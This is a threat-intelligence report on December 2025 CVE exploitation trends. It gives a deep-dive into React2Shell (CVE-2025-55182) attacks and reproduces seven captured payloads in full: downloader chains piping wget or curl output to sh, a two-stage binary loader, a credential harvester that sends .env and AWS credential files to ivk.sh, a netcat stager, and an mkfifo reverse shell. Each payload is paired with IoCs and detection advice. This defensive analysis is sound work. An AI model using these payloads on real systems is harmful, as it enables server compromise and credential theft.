The Sensor Intel Series is created in partnership with Efflux, who maintains a globally distributed network of sensors from which we derive attack telemetry.

Introduction

In this installment of the Sensor Intel Series, we provide an analysis of the most exploited vulnerabilities, highlighting trends and significant activity, with a deep-dive into React2Shell exploitation attempts, methods and tactics. This article focuses on the top 10 CVEs, their rankings, and long-term trends, offering insights into the evolving threat landscape. Notably, CVE-2025-55182 has emerged as a critical vulnerability, underscoring the importance of proactive security measures.

Trending CVEs for December

CVE-2017-9841, a PHPUnit Remote Code Execution vulnerability, continues to see widespread exploitation. This vulnerability allows attackers to execute arbitrary code on vulnerable servers. Organizations should ensure that their PHPUnit installations are updated to the latest version to mitigate this risk.

CVE-2025-55182, a React Server Components Unsafe Deserialization RCE, has rapidly become a significant threat. This vulnerability allows attackers to execute arbitrary code by exploiting unsafe deserialization in React Server Components. Developers should apply patches and review their code for unsafe deserialization practices.

CVE-2023-1389, a TP-Link Archer AX21 Command Injection RCE, remains a prominent target. This vulnerability enables attackers to execute commands on vulnerable routers. Users should update their firmware and consider replacing older devices to reduce exposure.

CVE-2019-9082, a ThinkPHP PHP Injection RCE, continues to be exploited. This vulnerability allows attackers to inject malicious PHP code into web applications. Organizations should update their ThinkPHP installations and monitor for signs of compromise.

CVE-2024-4577, an Apache PHP-CGI Argument Injection RCE, remains a concern. This vulnerability enables attackers to execute arbitrary commands by injecting arguments into PHP-CGI scripts. Administrators should apply the latest patches and review server configurations to mitigate this risk.

React2Shell

When a new remote code execution vulnerability with a critical CVSS score of 10.0 emerges, a certain buzz is generated within the cybersecurity community as we come to grips with the technical details of the issue, work to patch and protect services, and communicate insights. CVE-2025-551821, otherwise known as React2Shell, was no different. Published on the 3rd December 2025, React2Shell demonstrated how common web libraries and environments like React.js and Node.js, used in countless web services and applications, can be exploited to take control of remote servers.

The purpose of this article is, now that the initial dust has settled, to take a look at how attackers are utilizing React2Shell, the exploitation attempts they are using, what tools and methods they employ, and the scale they are conducting these attacks. For a detailed breakdown of the vulnerability itself, and how to protect services from these attacks, my colleagues over on DevCentral have this covered.

Payloads

React2Shell is a Remote Code Execution (RCE) vulnerability. An attacker may use this RCE to deploy malware, exfiltrate sensitive information, gain interactive command execution, or place flags that tell them the initial attack was successful. 7 examples have been selected from the dozens that we observed and these are listed below. They cover a variety of techniques and objectives, starting with the placement of a marker in the public-facing robots.txt file.

Robots.txt

Source: 172.236.52.146

Location: Australia

Observed Targeting: Australia

Payload:

{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": {
"then": "$B1337"
},
"_response": {
"_prefix": "process.mainModule.require('child_process').execSync('echo ismyhero >> public/robots.txt');",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}


This payload uses a shell to append a marker to a web‑readable file: echo writes the literal string “ismyhero,” >> performs append redirection, and public/robots.txt is a relative path to a common webroot asset; the goal is to verify command execution and filesystem write permissions by later fetching /robots.txt over HTTP. A successful write confirms arbitrary OS‑level command execution (confirming the vulnerability) and that the web process user can modify files in the webroot, which raises the risk of static asset tampering, lightweight persistence, or staging of follow‑on payloads without breaking site functionality.

Targeting robots.txt is a pragmatic choice because it is world readable, low impact, and easy to validate. Quick signals to check include unexpected changes to robots.txt and appearance of the marker in GET /robots.txt responses.

RondoDox Botnet

Source: 192.159.99.95

Location: United Kingdom

Observed Targeting: Global

Payload:

{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "process.mainModule.require('child_process').execSync('(
wget -qO- hxxp://41.231.37.153/rondo.aqu.sh||
busybox wget -qO- hxxp://41.231.37.153/rondo.aqu.sh||
curl -s hxxp://41.231.37.153/rondo.aqu.sh)|sh&');",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}


As we continue to track RondoDox botnet activity, it comes as little surprise that this actor is capitalizing on a new critical RCE vulnerability, especially as we have seen their behaviour shift recently to more web-focused efforts.

This payload is a downloader-exec chain that fetches a remote shell script and runs it in place: it tries wget, then busybox wget, then curl to retrieve hxxp://41.231.37.153/rondo.aqu.sh, pipes the response to sh, and backgrounds the execution. Primary IoCs are outbound HTTP GETs to 41.231.37.153/rondo.[xxx].sh on port 80, process command lines containing wget -qO- or curl -s piped into sh, explicit use of busybox wget as a fallback, and subshell grouping with a trailing ampersand. Our previous analysis of these scripts has shown multiple iterations, with different names and varying distribution infrastructure. In these recent instances we also have more examples of the use of the user agent calling card containing “rondo2012@atomicmail.io”. Treat sightings of this calling card, the IP or the path rondo.aqu.sh, especially in proximity to child_process activity, as high confidence of an exploitation attempt or success.

ReactOnMynuts

Source: 95.214.52.170

Location: Poland

Observed Targeting: Global

Payload:

{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "
var res=process.mainModule.require('child_process').execSync('(
cd /dev;busybox wget hxxp://31.56.27.76/n2/x86;chmod 777 x86;
./x86 reactOnMynuts;
busybox wget -q hxxp://193.34.213.150/nuts/bolts -O-
|sh)',{'timeout':120000}).toString().trim();;throw
Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}

This payload is a two stage loader chained through a React Server Function: execSync to run a shell group that cd’s into /dev, fetches a compiled binary from hxxp://31.56.27.76/n2/x86 via busybox wget, chmods it 777, executes it with the argument reactOnMynuts, then retrieves a second script from hxxp://193.34.213.150/nuts/bolts and pipes it directly into sh; the stdout is captured and immediately thrown as a NEXT_REDIRECT error with a digest containing the command output, which is a tactic to surface results to the client or logs without a normal response.

Primary IoCs include outbound HTTP GETs to 31.56.27.76/n2/x86 and 193.34.213.150/nuts/bolts, busybox wget usage and user agent, creation and execution of an x86 binary under /dev with mode 0777, the literal string reactOnMynuts on process command lines or in binary arguments, and error traces or telemetry showing NEXT_REDIRECT with a digest that mirrors shell stdout.

The choice of /dev suggests the attacker expects the process to run as root in a container where /dev is writable, and the mix of a disk based first stage plus a streamed second stage helps evade simple file based detections while keeping execution synchronous for the server function. Over the few days in December this actor was active, hxxp://193.34.213.150/nuts/x86hxxp://89.144.31.18/nuts/x86 hxxp://89[144.31.18/nuts/bolts were also seen in payloads.

Application Secrets and Cloud Credentials

Source: 35.95.150.5

Location: United States

Observed Targeting: Singapore, Israel, Germany, Canada, United States

Payload:

{
"_response": {
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
},
"_prefix": "(async()=\u003e{try { var fs = process.mainModule.require('fs');
var path = process.mainModule.require('path'); var http = process.mainModule.require('http'); var curr = process.cwd(); var root = path.parse(curr).root; var count = 0; while (true) { try { var files = fs.readdirSync(curr); files.forEach(function (f) { if (f.indexOf('.env') === 0) { var p = path.join(curr, f); try { var stat = fs.statSync(p); if (stat.isFile()) { var data = fs.readFileSync(p); var req = http.request({ hostname: 'ivk.sh', port: 80, path: '/nxtgrab.php?f=' + encodeURIComponent(p), method: 'POST', headers: { 'Content-Length': data.length } }, function (res) { }); req.on('error', function (err) { console.log(err); }); req.write(data); req.end(); count++; } } catch (e) { } } }); } catch (e) { } if (curr === root) break; var parent = path.dirname(curr); if (parent === curr) break; curr = parent; } var targetFiles = [\"~/.aws/credentials\", \"/root/.aws/credentials\"]; var home = process.env.HOME || process.env.USERPROFILE; targetFiles.forEach(function (tf) { try { var p = tf.replace('~', home); if (fs.existsSync(p)) { var stat = fs.statSync(p); if (stat.isFile()) { var data = fs.readFileSync(p); var req = http.request({ hostname: 'ivk.sh', port: 80, path: '/nxtgrab.php?f=' + encodeURIComponent(p), method: 'POST', headers: { 'Content-Length': data.length } }, function (res) { }); req.on('error', function (err) { console.log(err); }); req.write(data); req.end(); count++; } } } catch (e) { } }); console.log('Collected ' + count + ' files'); if (process.platform === 'linux') { try { var cp = process.mainModule.require('child_process'); cp.exec('curl -k -s https://ivk.sh/nxtplan | sh', { detached: true, stdio: 'ignore' }).unref(); } catch (e) { } } } catch (e) { } })();"
},
"reason": -1,
"status": "resolved_model",
"then": "$1:__proto__:then",
"value": "{\"then\": \"$B1337\"}"
}

A demonstration of a credential harvester with follow-on staging: the injected async block walks from the current working directory up to the filesystem root, reads every file whose name starts with .env, and POSTs their raw contents to ivk.sh at /nxtgrab.php?f=<absolute_path>; it then attempts to read and exfiltrate ~/.aws/credentials and /root/.aws/credentials the same way, logs “Collected N files,” and on Linux spawns a detached curl -k -s hxxps://ivk.sh/nxtplan | sh to pull a next stage over HTTPS while ignoring certificate validation.

This avoids external tools for the exfil step by using Node’s hxxp module directly, pushes the absolute source path into the f query parameter, and swallows errors to keep running across permission boundaries. Impact is immediate exposure of application secrets and cloud credentials with likely lateral movement, followed by a backgrounded stage two fetch that does not block the server response.

High confidence IoCs you can hunt:

  • Outbound HTTP POSTs to ivk.sh:80 with path /nxtgrab.php and a query parameter f that contains absolute file paths like /var/www/app/.env or /root/.aws/credentials; bodies are the raw file content, headers are minimal and often lack a Content-Type, with Content-Length set to the file size.
  • DNS resolutions and network flows to ivk.sh on ports 80 and 443, plus HTTPS GET to /nxtplan closely following the POSTs.
  • Process telemetry from the Node service showing child_process exec of curl -k -s hxxps://ivk.sh/nxtplan | sh with detached true and stdio ignore, and no corresponding on-disk script.
  • Application logs containing the literal string Collected <number> files around the time of suspicious outbound traffic.
  • File access patterns from the Node process reading .env* files across parent directories of the app and reading ~/.aws/credentials or /root/.aws/credentials.

Netcat

Source: 89.42.231.218

Location: Romania

Observed Targeting: Global

Payload:

{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "var
res=process.mainModule.require('child_process').execSync('(
nc 45.125.66.90 3443 ||
telnet 45.125.66.90 3443) |
sh').toString().trim();;
throw Object.assign(new Error('NEXT_REDIRECT'),
{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}

This payload sets up a raw TCP stager and streams whatever the attacker serves straight into a shell: child_process.execSync runs (nc 45.125.66.90 3443 || telnet 45.125.66.90 3443) | sh, so it first tries netcat, falls back to telnet if nc is absent, pipes the remote byte stream to sh for fileless execution, and blocks until the socket closes; it then captures stdout and embeds it in a crafted NEXT_REDIRECT error that pushes a 307 to /login with a query parameter a containing the command output, which can surface results to the client or logs. This avoids HTTP egress and user agents, uses a nonstandard port likely to slip past URL filtering, and relies on the presence of nc or telnet in the runtime image.

Primary IoCs

  • Outbound TCP connections to 45.125.66.90:3443
  • Process command lines containing nc 45.125.66.90 3443 or telnet 45.125.66.90 3443 piped into sh, with sh as a child of the Node process
  • Error traces or telemetry showing NEXT_REDIRECT with a digest string like NEXT_REDIRECT;push;/login?a=<stdout>;307; shortly after the connection

We also believe this activity from 89.42.231.244 is also linked to the same actor, providing an additional IoC for mewo.oceanic-node[.]su.

nc mewo.oceanic-node[.]su 3443 || telnet mewo.oceanic-node[.]su 3443) | sh

Connectivity canary

Source: 89.42.231.218

Location: Romania

Observed Targeting: Global

Payload:

{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "var
res=process.mainModule.require('child_process').execSync('
ping -c 9 144.172.105.58',{'timeout':120000}).toString().trim();;
throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}

This payload synchronously runs ping -c 9 144.172.105.58 via child_process.execSync with a 120 s timeout, captures stdout, then embeds the result in a crafted NEXT_REDIRECT digest so the requester can see the output. It tests ICMP egress with a raw IP rather than HTTP, yields simple telemetry like average RTT and TTL that can fingerprint network path or host type, and it has no fallback if ping is unavailable or blocked.

Primary IoCs include ICMP echo requests to 144.172.105.58 in sets of nine, process command lines containing ping -c 9 144.172.105.58 originating from the Node service, and error traces showing NEXT_REDIRECT with digest text that matches Linux ping output such as “PING 144.172.105.58” and “9 packets transmitted.” In containerized environments lacking CAP_NET_RAW or the ping binary, you may instead see digest content like “ping: socket: Operation not permitted” or “command not found,” which still confirms command execution and attempted ICMP.

Reverse Shell Stager

Source: 193.142.147.209

Location: Germany

Observed Targeting: Global

Payload:

{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "process.mainModule.require('child_process').execSync('cd /tmp; wget -O /tmp/x.sh hxxp://94.154.35.154/weball.sh ; chmod +x /tmp/x.sh; sh /tmp/x.sh; rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 193.142.147.209 12323 >/tmp/f');",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}

The payload synchronously runs a chained shell that cds to /tmp, fetches hxxp://94.154.35.154/weball.sh into /tmp/x.sh via wget, chmods it executable, executes it, then cleans and recreates a named pipe /tmp/f and uses the classic FIFO pattern mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 193.142.147.209 12323 >/tmp/f to establish bidirectional I/O with a remote netcat listener. This yields an interactive fileless shell back to the operator and will keep the server function blocked under execSync until the socket closes. It relies on wget, /bin/sh, and nc being present, uses raw IPs to avoid DNS, and stages entirely under /tmp for easy write access and minimal persistence on disk.

Primary IoCs

  • Outbound HTTP GET to 94.154.35.154/weball.sh with Wget user agent
  • Creation, execution, and deletion of /tmp/x.sh and creation of the FIFO /tmp/f
  • Process command lines containing mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 193.142.147.209 12323 >/tmp/f, with sh and nc as children of the Node process
  • Outbound TCP connection to 193.142.147.209:12323 and a long-lived session corresponding to server-side latency
  • Any occurrence of the string weball.sh in logs or memory, and host binaries nc present in the runtime image without telnet or curl fallbacks

Summary

What stands out in this wave is the speed and breadth of weaponization (see Fig. 1). Within days of disclosure, actors moved from simple canaries to a wide spectrum of payloads that are typical of mature botnet tradecraft, including fileless downloaders that pipe directly to a shell, raw TCP stagers that bypass HTTP controls, credential harvesters built with Node core modules, all wrapped with tool fallbacks, raw IP infrastructure, and creative use of framework errors to surface command output. We have highlighted a few examples of the attacks that we witnessed in December, but this is only scratching the surface. There have been dozens of different attacks utilizing the React2Shell vulnerability and we will continue to dig into these in the future.

The specific IoCs in this article are useful for scoping and incident response, but they will churn as infrastructure and filenames rotate. The good news is that most of these attempts are constrained by recognizable behaviors that generic WAF signatures can block at day zero for this CVE. In practice that means signatures that detect prototype pollution keys in server function payloads, references to process.mainModule.require and child_process in request bodies, shell metacharacters and pipe to shell constructs such as curl or wget output streamed into sh or bash, and raw IP URLs or nonstandard ports in fetch primitives. More information on defending against these attacks can be found here.

Indicators of Compromise (IoCs)

Network destinations, domains, ports, and URLs

  • 41.231.37.153 (hxxp://41.231.37.153/rondo.xxx.sh)
  • 31.56.27.76 (hxxp://31.56.27.76/n2/x86)
  • 193.34.213.150 (hxxp://193.34.213.150/nuts/x86, hxxp://193.34.213.150/nuts/bolts)
  • 89.144.31.18 (hxxp://89.144.31.18/nuts/x86, hxxp://89.144.31.18/nuts/bolts)
  • 45.125.66.90:3443 (nc or telnet stager)
  • mewo.oceanic-node.su:3443 (nc or telnet stager)
  • 144.172.105.58 (ICMP ping canary)
  • ivk.sh (hxxp://ivk.sh/nxtgrab.php?f=<absolute_path>, hxxps://ivk.sh/nxtplan)
  • 94.154.35.154 (hxxp://94.154.35.154/weball.sh)
  • 193.142.147.209:12323 (reverse shell callback)
  • Ports observed: 80, 443, 3443, 12323

User agents and caller identities

  • rondo2012@atomicmail.io
  • Default Wget and curl user agents, BusyBox wget user agent

Request-side payload artifacts

  • Prototype pollution keys: proto:then, constructor:constructor
  • value markers like {"then":"$B1337"} or "$B0"
  • process.mainModule.require('child_process'), .execSync in request payloads
  • References to core modules: fs, path, hxxp
  • Crafted NEXT_REDIRECT errors with digest containing command output

File and path artifacts

  • public/robots.txt containing the marker ismyhero
  • /dev/x86 created and executed with mode 0777, argument reactOnMynuts
  • /tmp/x.sh downloaded and executed
  • /tmp/f FIFO created for reverse shell I/O
  • .env files read across parent directories of the app
  • ~/.aws/credentials and /root/.aws/credentials accessed and exfiltrated

Observed source IPs

  • 172.236.52.146
  • 192.159.99.95
  • 95.214.52.170
  • 35.95.150.5
  • 89.42.231.218
  • 89.42.231.244

Top CVEs for December

# CVE ID CVE Name December Traffic CVSS EPSS KEV
1– CVE-2017-9841 PHPUnit eval-stdin.php RCE 57527 (-26447.0) 9.8 0.94202 – Y
2– CVE-2025-55182 React Server Components Unsafe Deserialization RCE 15460– 10.0 0.47368 – Y
3↓ CVE-2023-1389 TP-Link Archer AX21 Command Injection RCE 8308 (-3210.0) 8.8 0.93807 (+0.0015) Y
4↓ CVE-2019-9082 ThinkPHP PHP Injection RCE 3372 (-2207.0) 8.8 0.93965 (-0.0014) Y
5↓ CVE-2024-4577 Apache PHP-CGI Argument Injection RCE 3364 (-1357.0) 9.8 0.94374 – Y
6↓ CVE-2022-24847 GeoServer JNDI Lookup RCE 2459 (+62.0) 7.2 0.00291 – N
7↑ CVE-2022-42475 FortiOS FortiProxy SSL-VPN Heap Overflow RCE 2023 (-32.0) 9.8 0.94062 (+0.0012) Y
8↑ CVE-2025-31324 SAP NetWeaver Metadata Uploader Unauthenticated Upload 1991 (+184.0) 9.8 0.49998 (+0.0466) Y
9↓ CVE-2022-22947 Spring Cloud Gateway Actuator Code Injection RCE 1922 (-137.0) 10.0 0.94461 – Y
10↓ CVE-2022-47945 ThinkPHP Lang Parameter LFI RCE 1500 (-682.0) 9.8 0.89889 (-0.0020) N

Long Term Targeting Trends

CVE-2017-9841 continues to dominate the top spot in December 2025, despite a decrease in activity compared to November (see Figure 1). CVE-2025-55182 has surged to second place, reflecting its recent emergence and high exploitation attempts. CVE-2023-1389, CVE-2019-9082, and CVE-2024-4577 have all experienced slight declines in activity but remain in the top five. The rapid rise of CVE-2025-55182 highlights the dynamic nature of the threat landscape and the need for vigilance.

Twelve-month bump plot of the top 5 CVEs, React2Shell takes 2nd place.

Figure 1: Twelve-month bump plot of the top 5 CVEs.

CVE-2025-55182, a React Server Components Unsafe Deserialization RCE, has shown a significant rise in activity in December 2025 (see Figure 2). This CVE was not present in the data until November 2025, when it suddenly emerged with high exploitation attempts. Its rapid increase in activity suggests that attackers are actively targeting this vulnerability, likely due to its critical CVSS score of 10 and its potential for remote code execution. Organizations using React Server Components should prioritize patching and implementing mitigations to address this threat.

Evolution of vulnerability targeting in the last twelve months, shown using a logarithmic scale for ease of comparison. Spike in CVE-2025-55182 activity shown in December.

Figure 2: Evolution of vulnerability targeting in the last twelve months, shown using a logarithmic scale for ease of comparison.

Conclusion

The December 2025 data underscores the dynamic nature of the cybersecurity landscape, with new vulnerabilities like CVE-2025-55182 rapidly gaining prominence. Organizations must remain vigilant, prioritize patching, and implement robust security practices to mitigate these threats. By addressing the vulnerabilities highlighted in this report, organizations can enhance their resilience against cyberattacks.

Recommendations

Technical
Preventative
  • Scan your environment for vulnerabilities aggressively.
  • Patch high-priority vulnerabilities (defined however suits you) as soon as feasible.
  • Engage a DDoS mitigation service to prevent the impact of DDoS on your organization.
Technical
Detective
  • Use a WAF or similar tool to detect and stop web exploits.
  • Monitor anomalous outbound traffic to detect devices in your environment that are participating in DDoS attacks.

Authors & Contributors

Adam Metcalfe-Pearce (Author)

Threat Researcher, F5